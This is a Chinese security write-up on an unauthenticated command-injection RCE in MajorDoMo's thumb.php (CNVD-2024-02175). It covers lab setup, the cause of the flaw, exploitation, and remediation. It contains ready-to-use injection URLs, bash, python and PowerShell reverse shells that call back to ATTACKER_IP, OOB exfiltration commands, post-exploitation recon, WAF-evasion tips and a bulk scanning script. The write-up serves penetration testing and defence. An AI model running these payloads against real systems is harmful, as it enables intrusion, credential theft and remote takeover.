MajorDoMo未授权RCE漏洞深度剖析:从命令注入到批量PoC实战
1. 项目概述:一次典型的Web应用未授权RCE漏洞深度剖析
最近在梳理一些开源智能家居系统的安全状况时,MajorDoMo这个项目进入了我的视野。作为一个老牌的、功能丰富的家庭自动化平台,它在特定用户群体中仍有不少部署。然而,安全研究往往揭示,功能越复杂的系统,潜藏的风险点也可能越多。这次要讨论的CNVD-2024-02175漏洞,就是一个因权限校验缺失和文件处理逻辑缺陷导致的远程代码执行(RCE)案例,其入口点是一个名为thumb.php的文件。这个漏洞的典型性在于,它并非利用了某种高深的加密算法或协议漏洞,而是源于开发过程中一个看似“方便”但却极度危险的设计:未对用户输入进行有效过滤,并直接将其用于系统命令执行。对于安全研究人员、渗透测试工程师以及负责运维此类系统的管理员来说,理解这个漏洞的成因、利用方式及修复方案,具有直接的实战价值。本文将带你从环境搭建开始,一步步拆解漏洞原理,手把手复现攻击过程,并分享一个可用于批量资产验证的PoC脚本核心思路,最后探讨根本性的修复与防护策略。
2. 漏洞原理与背景深度解析
2.1 MajorDoMo与thumb.php的角色定位
MajorDoMo是一个基于PHP开发的智能家居服务器平台,它能够集成各种设备、协议和传感器,实现场景联动、远程控制等功能。其架构包含了大量的脚本和模块,thumb.php就是其中之一。从名字可以推测,这个文件的主要功能很可能与生成图片缩略图(Thumbnail)相关。在Web应用中,这类脚本非常常见,它们接收图片路径、尺寸等参数,调用后端图像处理库(如GD、ImageMagick)或系统命令(如convert)来动态生成缩略图,以节省带宽并提升页面加载速度。
问题就出在这个“调用系统命令”的环节。一个安全的缩略图脚本应该:1)严格校验调用者身份(授权);2)对传入的参数进行严格的过滤和限制(例如,白名单限制可操作的图片目录,过滤命令注入字符)。而存在漏洞的thumb.php,这两点都没有做好。
2.2 漏洞核心:未授权访问与命令注入
CNVD-2024-02175漏洞实际上是两个安全问题的叠加,共同构成了严重的RCE链条:
未授权访问(Unauthorized Access):
thumb.php文件没有对访问请求进行任何身份验证或会话检查。这意味着任何知道该脚本URL的网络访问者,无需登录系统,都可以直接调用其功能。这是漏洞利用的前提,它极大地扩大了攻击面。命令注入(Command Injection):这是导致RCE的直接原因。
thumb.php在生成缩略图时,很可能使用了类似shell_exec()、system()或反引号(``)这样的PHP函数来调用外部程序(例如ImageMagick的convert命令)。并且,它将用户通过HTTP请求参数(如url、file或src)可控的变量,未经任何安全处理就直接拼接到了系统命令字符串中。
举个例子,假设内部代码逻辑是这样的:
$imagePath = $_GET['src']; // 攻击者完全可控 $outputPath = '/tmp/thumb.jpg'; $command = "convert {$imagePath} -resize 100x100 {$outputPath}"; shell_exec($command);攻击者可以传入src=legitimate.jpg;id这样的参数。拼接后的命令变为convert legitimate.jpg;id -resize 100x100 /tmp/thumb.jpg。在Linux shell中,分号;是命令分隔符,这会导致系统先执行convert legitimate.jpg,然后执行id命令,并将id命令的结果输出或引发错误。通过精心构造参数,攻击者可以执行任意系统命令。
注意:实际的漏洞参数和拼接方式需要根据代码审计确定,以上仅为原理性示例。在MajorDoMo的案例中,攻击者可能通过
url、file或其他参数实现注入。
2.3 漏洞影响范围与严重性
该漏洞的CVSS评分很可能在高危(High)或严重(Critical)级别,原因如下:
- 攻击复杂度低:利用方式通常是发送一个精心构造的HTTP请求,无需复杂交互。
- 权限影响大:成功利用后,攻击者能够在Web服务器进程的权限下执行命令。如果服务器以高权限(如root)运行,后果不堪设想。
- 无需前置条件:由于是未授权访问,攻击者无需窃取或拥有任何账户凭证。
- 潜在危害:攻击者可以读取服务器上的敏感文件(如配置文件、数据库密码)、植入后门、进行内网横向移动,甚至将服务器变为僵尸网络的一部分。
受影响的MajorDoMo版本应为存在缺陷代码的特定版本区间,需要对照官方修复记录进行确认。任何在公网或内网暴露了存在漏洞版本MajorDoMo系统的资产,都面临直接风险。
3. 漏洞复现环境搭建与调试
3.1 实验环境准备
为了安全、合法地研究此漏洞,我们必须在隔离的环境中搭建靶场。强烈建议使用虚拟机或Docker环境。
方案一:使用Vulhub/其他漏洞靶场集成环境这是最快捷的方式。Vulhub等项目已经集成了许多漏洞环境的Docker Compose配置。你可以检查其仓库中是否已有“MajorDoMo”相关漏洞的配置。如果有,只需几步命令即可启动一个完整的、包含漏洞的MajorDoMo实例。
# 假设Vulhub中有该漏洞目录 cd /path/to/vulhub/majordomo/CVE-2024-xxxx/ docker-compose up -d # 访问 http://your-vm-ip:port 即可看到靶场方案二:手动部署存在漏洞的MajorDoMo版本如果找不到现成的靶场,就需要手动从历史版本仓库下载存在漏洞的MajorDoMo代码。
- 获取源码:访问MajorDoMo的GitHub仓库,根据漏洞披露信息,找到并下载存在漏洞的特定版本代码包(例如,修复前的某个commit或release)。
- 配置Web服务器:准备一个PHP运行环境(如Apache + PHP 5.x/7.x)。将代码部署到Web目录(如
/var/www/html/majordomo)。 - 配置权限:确保Web服务器用户(如
www-data)对代码目录有读取和执行权限,对某些需要写入的目录(如日志、缓存)有写权限。 - 访问安装:通过浏览器访问部署地址,按照MajorDoMo的安装向导完成数据库等初始化配置。
实操心得:手动部署时,最容易卡在PHP扩展依赖和文件权限上。务必确保
php-gd、php-curl等扩展已安装,并且/path/to/majordomo/cached、/path/to/majordomo/logs这类目录对Web进程可写。查看Apache或PHP-FPM的日志是排错的关键。
3.2 定位漏洞代码与关键参数
环境跑起来后,第一件事就是找到thumb.php文件,并审计其代码。通常它位于项目的根目录或/lib/、/includes/这样的子目录下。
用文本编辑器或IDE打开thumb.php,重点关注:
- 是否存在权限校验:搜索
session_start()、checkAuth()、if(!$user->loggedIn)等常见的权限检查代码。在漏洞版本中,这些代码应该缺失或存在逻辑绕过。 - 如何获取用户输入:查找
$_GET、$_POST、$_REQUEST超全局变量的使用。 - 如何执行系统命令:查找
shell_exec()、exec()、system()、passthru()、proc_open()函数,以及反引号操作符。 - 参数拼接点:观察用户输入的变量是如何被拼接到字符串中,然后传递给命令执行函数或包含文件路径的。
假设我们通过审计发现关键代码如下:
// thumb.php 片段 $url = $_GET['url']; // ... 一些无关的路径处理 ... $cmd = “wget -O /tmp/temp_image.jpg '{$url}'”; // 为了获取远程图片,使用了wget shell_exec($cmd); // ... 后续再用convert处理/tmp/temp_image.jpg ...这里,$url参数直接拼接到wget命令中。那么,我们的注入点就是url参数。我们不仅可以控制下载的地址,还可以通过注入命令分隔符来执行其他命令,例如:url=http://attacker.com/1.jpg;whoami。
4. 手工漏洞复现与利用过程
4.1 初步探测与漏洞确认
首先,我们通过浏览器或命令行工具(如curl)来探测thumb.php是否可以未授权访问,并观察其行为。
# 基础访问测试,查看响应 curl -v "http://target-ip:port/path/to/majordomo/thumb.php"如果返回的不是403 Forbidden或重定向到登录页,而是某种错误(如缺少参数错误),则说明未授权访问可能成立。
接下来,测试参数。根据代码审计的猜测,我们尝试提供必要的参数:
curl "http://target-ip:port/thumb.php?url=http://example.com/test.jpg"观察响应。如果系统尝试去下载example.com/test.jpg,说明url参数是有效的。现在,尝试注入一个简单的命令来测试,例如执行sleep命令,这可以通过响应时间延迟来判断:
# Linux下,注入sleep 5 curl "http://target-ip:port/thumb.php?url=http://example.com/test.jpg;sleep%205" # 或者使用 | 或 & 等分隔符 curl "http://target-ip:port/thumb.php?url=http://example.com/test.jpg|sleep%205"如果请求耗时明显增加(约5秒),则强烈表明命令注入存在。为了更直观地看到回显,可以尝试注入如id、whoami这样的命令,并将结果输出到Web目录下的一个文件中,然后去访问这个文件。
# 注入 whoami 命令,并将结果写入web可访问的文件 # 假设Web根目录为 /var/www/html,我们写入一个test.txt curl "http://target-ip:port/thumb.php?url=http://example.com/test.jpg;whoami>/var/www/html/test.txt%00"然后访问http://target-ip:port/test.txt,如果能看到Web服务器的运行用户(如www-data),则RCE被证实。
注意事项:在实际测试中,需要注意命令中的空格、特殊字符(如
&、|、>、<)需要进行URL编码。%20代表空格,%26代表&,%3B代表;。%00(空字节)有时用于截断后续参数,在某些情况下有用。
4.2 构造反向Shell获取交互式访问
证明命令注入后,下一步是获取一个更稳定的、交互式的shell会话,即反向Shell(Reverse Shell)。这样我们可以在攻击机上直接操作目标服务器。
在攻击机(Kali Linux等)上先监听一个端口:
nc -lvnp 4444然后,向目标发送一个精心构造的请求,让其连接回我们的攻击机。根据目标系统环境的不同,反向Shell的Payload也不同。
Linux目标常见Payload:
# 使用bash curl "http://target/thumb.php?url=http://a.com;bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261%22" # 使用python curl "http://target/thumb.php?url=http://a.com;python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKER_IP%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27"Windows目标(如果运行在Windows服务器上)常见Payload:
# 使用PowerShell curl “http://target/thumb.php?url=http://a.com;powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27ATTACKER_IP%27%2C4444%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22”将上述URL中的ATTACKER_IP替换为你的攻击机IP地址。如果成功,你会在nc监听端口中看到来自目标的Shell连接。
4.3 权限维持与信息收集
获取反向Shell后,通常权限是Web服务用户(如www-data、apache)。我们需要进行一些基础操作:
- 升级Shell:初始的Shell可能功能不全(无Tab补全、历史记录等)。可以使用
python3 -c 'import pty; pty.spawn("/bin/bash")'来升级为一个更完整的TTY Shell。 - 信息收集:
whoami; id:查看当前用户和权限。uname -a:查看系统内核版本。cat /etc/passwd:查看系统用户。ps aux:查看运行进程。ifconfig或ip a:查看网络配置。find / -name “*config*.php” -type f 2>/dev/null:查找可能包含数据库凭据的配置文件。
- 权限提升探索:尝试寻找提权路径,如查找SUID文件(
find / -perm -4000 -type f 2>/dev/null)、查看sudo权限(sudo -l)、检查内核漏洞等。注意:在授权的渗透测试中才能进行提权尝试。
5. 批量验证PoC脚本的设计与实现
在实战的资产梳理或漏洞排查中,我们往往需要对一个IP段或一批URL进行漏洞验证。手动一个个测试效率极低,因此需要编写一个批量验证脚本。
5.1 PoC脚本核心逻辑
一个健壮的批量验证PoC脚本应包含以下模块:
- 目标输入:支持从文件读取IP/URL列表,或指定CIDR网段。
- 请求构造:根据漏洞利用点,构造包含测试Payload的HTTP请求。为了不破坏目标系统,Payload应使用无害的命令,如
sleep、echo一个特定字符串到可访问的路径,或者通过DNS、HTTP请求外带数据(Out-of-Band, OOB)来检测。 - 结果判断:
- 时间延迟检测:如果使用
sleep命令,通过计算请求响应时间是否显著增加来判断。 - 内容回显检测:如果能让目标将执行结果输出到响应体中,则检查响应体是否包含特定字符串。
- OOB检测(最可靠):让目标向一个由我们控制的服务器发起DNS查询或HTTP请求。这是最隐蔽、最可靠的方式,因为它不依赖于目标应用的正常输出。例如,Payload可以是
curl http://your-collaborator-server.com/$(whoami)或nslookup $(whoami).your-domain.com。
- 时间延迟检测:如果使用
- 并发控制:使用多线程或异步IO(如Python的
asyncio、aiohttp)提高扫描效率,同时要控制并发数,避免对目标造成DoS攻击或触发防护设备告警。 - 结果输出:将存在漏洞的目标地址清晰地输出到屏幕或文件。
5.2 基于Python的PoC示例(时间延迟检测版)
以下是一个简化的、基于时间延迟判断的PoC脚本核心框架。请注意,此脚本仅用于授权测试和教育目的。
import requests import time import threading from queue import Queue import sys import urllib.parse def check_vuln(url): """ 检查单个目标是否存在漏洞 """ # 构造漏洞利用Payload。这里使用 sleep 3 进行延迟检测。 # 根据实际漏洞参数调整,这里假设参数是 ‘url’ payload = “;sleep 3” # 需要对Payload进行URL编码,但注意,空格在命令中是必须的,编码为%20 encoded_payload = urllib.parse.quote(payload, safe=“”) # 不保留任何字符 target_url = f“{url}/thumb.php?url=http://example.com/dummy.jpg{encoded_payload}” headers = { ‘User-Agent’: ‘Mozilla/5.0 (POC Scanner)’ } try: start_time = time.time() # 设置一个较短的超时时间,但需要大于我们的sleep时间+网络延迟 resp = requests.get(target_url, headers=headers, timeout=10, verify=False) elapsed_time = time.time() - start_time # 判断逻辑:如果响应时间大于5秒(sleep 3 + 缓冲),则认为可能存在漏洞 if elapsed_time > 5: return True, elapsed_time, url else: return False, elapsed_time, url except requests.exceptions.RequestException as e: return False, 0, f“{url} - Error: {e}” def worker(q, results): while not q.empty(): target = q.get() is_vuln, elapsed, info = check_vuln(target) if is_vuln: results.append(f“[VULNERABLE] {info} - Response time: {elapsed:.2f}s”) print(f“[+] Vulnerable: {info}”) else: print(f“[-] Not vulnerable or error: {info}”) q.task_done() def main(target_list_file): # 读取目标列表 with open(target_list_file, ‘r’) as f: targets = [line.strip() for line in f if line.strip()] # 确保URL格式正确,如果没有scheme则加上http:// full_targets = [] for t in targets: if not t.startswith(‘http’): full_targets.append(f“http://{t}”) else: full_targets.append(t) # 创建任务队列和结果列表 queue = Queue() results = [] for target in full_targets: queue.put(target) # 启动多线程 worker threads = [] for i in range(10): # 控制并发数为10 t = threading.Thread(target=worker, args=(queue, results)) t.start() threads.append(t) # 等待所有任务完成 queue.join() # 输出最终结果 print(“\n=== Scan Summary ===”) for r in results: print(r) if results: print(f“\nTotal vulnerable targets: {len(results)}”) else: print(“No vulnerable targets found.”) if __name__ == “__main__”: if len(sys.argv) != 2: print(f“Usage: {sys.argv[0]} <target_list.txt>”) sys.exit(1) main(sys.argv[1])脚本使用说明:
- 将目标IP或URL(每行一个)存入
targets.txt文件。 - 运行脚本:
python3 poc_batch.py targets.txt。 - 脚本会并发测试每个目标,如果响应时间超过5秒,则标记为可能存在漏洞。
实操心得与注意事项:
- OOB是王道:时间延迟检测可能因网络波动、目标服务器负载高而产生误报或漏报。在生产环境或更严肃的测试中,强烈建议使用DNSlog或HTTP交互平台(如Burp Collaborator)进行OOB检测,准确率接近100%。
- 规避WAF:真实的网络环境可能有WAF。Payload可能需要变形,如使用Base64编码命令、使用变量拼接、使用反引号代替
$()等技巧来绕过简单的规则检测。- 速率限制:务必在脚本中添加延迟(如
time.sleep(0.5))或严格控制并发数,避免对目标造成拒绝服务攻击。- 法律与授权:绝对禁止在未获得明确书面授权的情况下对任何系统进行测试。
6. 漏洞修复与安全加固建议
6.1 官方修复方案
对于MajorDoMo用户,最根本的解决方法是立即升级到官方已修复该漏洞的最新版本。开发者通常会在新版本中:
- 增加身份验证:在
thumb.php文件开头加入对用户会话的检查,确保只有登录用户才能访问。 - 修复命令注入:
- 输入验证:对
url等参数进行严格过滤,只允许预期的字符(如字母、数字、点、斜杠等),拒绝任何命令分隔符(;、|、&、\n等)。 - 使用安全函数:放弃
shell_exec()等直接执行命令的函数,改用PHP内置的图像处理函数(如GD库的imagecreatefromjpeg()、imagescale())来完成缩略图生成。 - 如果必须用命令:使用
escapeshellarg()或escapeshellcmd()函数对用户输入进行转义,并尽量使用白名单机制限定参数范围。
- 输入验证:对
6.2 临时缓解措施
如果无法立即升级,可以考虑以下临时方案:
- 访问控制:在Web服务器层面(如Apache的
.htaccess或Nginx的location配置)对thumb.php路径设置访问限制,例如只允许本地IP或内网IP访问。# Apache .htaccess 示例 <Files “thumb.php”> Order Deny,Allow Deny from all Allow from 192.168.1.0/24 # 仅允许内网访问 Allow from 127.0.0.1 </Files> - 删除或重命名文件:如果系统不依赖
thumb.php的功能,可以直接删除或重命名该文件。 - 应用层WAF:部署Web应用防火墙,配置规则拦截对
thumb.php的未授权访问请求以及包含可疑命令字符的请求参数。
6.3 长期安全开发规范
对于开发者而言,此漏洞是一个经典的教训:
- 最小权限原则:Web应用程序应始终以最低必要权限运行,避免使用root权限。
- 输入即原罪:对所有用户输入(GET, POST, Cookie, Header等)都视为不可信的,必须进行严格的验证、过滤和转义。
- 避免命令执行:尽可能使用编程语言的原生库或安全封装好的API来实现功能,而非直接调用系统命令。
- 默认拒绝:在访问控制上,默认应拒绝所有请求,只有明确授权的用户/请求才能访问特定资源。
- 安全代码审计:定期对代码进行安全审计,或使用静态应用安全测试(SAST)工具辅助发现潜在漏洞。
7. 漏洞复现中的常见问题与排查技巧
在复现和利用这类漏洞时,你可能会遇到一些“坑”。以下是一些常见问题及解决思路:
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
访问thumb.php返回404 | 文件路径错误或已被删除/重命名 | 使用目录扫描工具(如dirsearch、gobuster)寻找可能路径;检查MajorDoMo不同版本的目录结构。 |
访问thumb.php返回403或跳转登录 | 漏洞已被修复(增加了权限校验)或环境配置有误 | 确认使用的MajorDoMo版本是否为存在漏洞的版本;检查Web服务器配置是否限制了访问。 |
命令注入Payload无回显,且sleep测试无延迟 | 1. 注入点判断错误 2. 命令执行被禁用 3. 参数拼接方式特殊 | 1. 重新审计代码,确认可控参数和拼接点。 2. 检查PHP配置 disable_functions是否包含shell_exec等函数。3. 尝试不同的命令分隔符( %0a换行、%26后台执行、%7c管道)和注入位置。 |
| 命令执行成功但反向Shell连接不上 | 1. 目标出网受限 2. 防火墙/安全组策略拦截 3. Payload编码或格式错误 | 1. 先使用ping或curl测试目标是否能访问外网。2. 尝试不同端口(如53/DNS, 80/HTTP, 443/HTTPS)绕过防火墙。 3. 使用 urlencode确保Payload正确传输,尝试不同格式的反向Shell(bash, python, perl, nc等)。 |
| 批量PoC脚本误报率高 | 网络延迟波动、目标服务器响应慢 | 改用OOB(DNS/HTTP)检测方式,这是最准确的。如果只能用时间延迟,可适当提高延迟阈值,并增加重试机制,排除单次网络抖动。 |
| 执行命令后进程卡住或无响应 | 命令产生了交互式输出或等待输入 | 在命令末尾添加> /dev/null 2>&1 &让命令在后台运行并丢弃输出。对于反向Shell,确保Payload正确无误,特别是用于升级TTY的Payload。 |
个人经验分享:在测试命令注入时,我习惯先用一个能产生“副作用”但无害的命令来验证,比如touch /tmp/poc_test_$(date +%s)在目标服务器上创建一个带有时间戳的空文件,然后再去检查文件是否被创建。这比sleep更直观,且比curl外带更隐蔽(不产生外部网络流量)。确认注入点无误后,再尝试反向Shell。另外,在编写批量PoC时,一定要加入异常处理和日志记录,否则一个目标的超时可能会导致整个线程卡住,影响扫描效率。最后,道德和法律是红线,所有测试务必在授权范围内进行,并在测试结束后协助客户做好修复工作。
